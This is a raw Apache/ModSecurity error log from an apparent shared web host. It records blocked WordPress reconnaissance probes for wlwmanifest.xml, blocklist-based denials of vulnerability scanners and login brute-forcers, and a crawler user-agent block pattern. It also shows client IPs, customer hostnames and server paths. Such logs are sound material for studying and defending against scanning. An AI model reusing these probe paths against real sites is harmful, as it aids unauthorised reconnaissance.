REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "ai3yUSmiP80klyS0NnobgAAAAXM"] [Sat Jun 13 18:14:09.114128 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.29:43299] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:09.114608 2026] [access_compat:error] [pid 531155:tid 531193] [remote 57.141.14.29:43299] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:09.325840 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.60:58828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:09.326286 2026] [access_compat:error] [pid 531155:tid 531156] [remote 57.141.14.60:58828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:09.433190 2026] [security2:error] [pid 531155:tid 531282] [remote 57.141.14.99:30474] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 99.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3yUSmiP80klyS0NnobpQABIH4"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=20953&_wpnonce=8d149de2a5&add-to-cart=383 [Sat Jun 13 18:14:09.518417 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAwL3dha2V1cC93YWtldXAw [Sat Jun 13 18:14:09.518882 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjAwL3dha2V1cC93YWtldXAw [Sat Jun 13 18:14:09.645429 2026] [security2:error] [pid 531155:tid 531325] [client 143.244.57.82:55910] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ai3yUSmiP80klyS0NnobsgAAATI"] [Sat Jun 13 18:14:09.741570 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.19:30264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:09.741879 2026] [access_compat:error] [pid 531155:tid 531269] [remote 57.141.14.19:30264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:09.845569 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.75:38640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:09.846001 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.75:38640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:09.919407 2026] [security2:error] [pid 531155:tid 531162] [remote 17.241.219.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yUSmiP80klyS0NnobwwABbQY"] [Sat Jun 13 18:14:10.103357 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvaWQ= [Sat Jun 13 18:14:10.103650 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvaWQ= [Sat Jun 13 18:14:10.128386 2026] [security2:error] [pid 531155:tid 531180] [remote 17.246.23.141:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 141.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yUimiP80klyS0Nnob0AABLxg"] [Sat Jun 13 18:14:10.253721 2026] [security2:error] [pid 531155:tid 531342] [client 143.244.57.82:55918] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ai3yUimiP80klyS0Nnob1gAAAUM"] [Sat Jun 13 18:14:10.611941 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:10.612330 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:14:10.626774 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.97:32604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:10.627037 2026] [access_compat:error] [pid 531155:tid 531211] [remote 57.141.14.97:32604] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:10.833295 2026] [security2:error] [pid 531155:tid 531167] [remote 17.22.253.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yUimiP80klyS0Nnob8gABEAs"] [Sat Jun 13 18:14:10.852025 2026] [security2:error] [pid 531155:tid 531293] [client 143.244.57.82:55926] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "ai3yUimiP80klyS0Nnob9AAAARI"] [Sat Jun 13 18:14:10.912190 2026] [security2:error] [pid 531155:tid 531265] [remote 193.115.126.168:43018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.126.115.193.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai3yUimiP80klyS0Nnob9QABJG0"] [Sat Jun 13 18:14:10.980793 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.94:33994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:10.981237 2026] [access_compat:error] [pid 531155:tid 531194] [remote 57.141.14.94:33994] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:10.997852 2026] [security2:error] [pid 531155:tid 531240] [remote 17.241.227.29:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 29.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yUimiP80klyS0Nnob_QABClQ"] [Sat Jun 13 18:14:11.062743 2026] [security2:error] [pid 531155:tid 531225] [remote 132.255.164.117:48274] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.164.255.132.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ameritekwater.com"] [uri "/wp-login.php"] [unique_id "ai3yUymiP80klyS0NnocAAABVkU"] [Sat Jun 13 18:14:11.144964 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:14:11.145286 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:14:11.208931 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.38:31237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:11.209252 2026] [access_compat:error] [pid 531155:tid 531277] [remote 57.141.14.38:31237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:11.267201 2026] [security2:error] [pid 531155:tid 531290] [client 114.119.149.218:32615] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.silomaq.com"] [uri "/index.php/productos/todos/varios"] [unique_id "ai3yUymiP80klyS0NnocDAAAAQ8"], referer: http://www.silomaq.com/index.php/productos/todos/varios/rayos-x-detail [Sat Jun 13 18:14:11.335209 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.112:35600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:11.335482 2026] [access_compat:error] [pid 531155:tid 531200] [remote 57.141.14.112:35600] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:11.440335 2026] [security2:error] [pid 531155:tid 531292] [client 143.244.57.82:55936] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ai3yUymiP80klyS0NnocFgAAARE"] [Sat Jun 13 18:14:11.473873 2026] [security2:error] [pid 531155:tid 531177] [remote 17.246.23.170:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 170.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yUymiP80klyS0NnocFwABQBU"] [Sat Jun 13 18:14:11.508919 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.107:60237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:11.509352 2026] [access_compat:error] [pid 531155:tid 531207] [remote 57.141.14.107:60237] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:11.691488 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:14:11.691865 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:14:11.725376 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.82:26196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:11.725830 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.82:26196] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:12.051788 2026] [security2:error] [pid 531155:tid 531337] [client 143.244.57.82:55944] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ai3yVCmiP80klyS0NnocPgAAAT4"] [Sat Jun 13 18:14:12.089194 2026] [autoindex:error] [pid 531155:tid 531382] [client 123.207.65.62:57442] AH01276: Cannot serve directory /home3/tutiend2/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:14:12.171168 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.76:26837] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:12.171559 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.76:26837] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:12.186219 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:14:12.186584 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:14:12.547908 2026] [access_compat:error] [pid 531155:tid 531241] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:14:12.548348 2026] [access_compat:error] [pid 531155:tid 531241] [remote 216.73.216.182:42797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:14:12.652846 2026] [security2:error] [pid 531155:tid 531332] [client 143.244.57.82:55946] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.xge.jai.mybluehost.me"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ai3yVCmiP80klyS0NnocbwAAATk"] [Sat Jun 13 18:14:12.720986 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 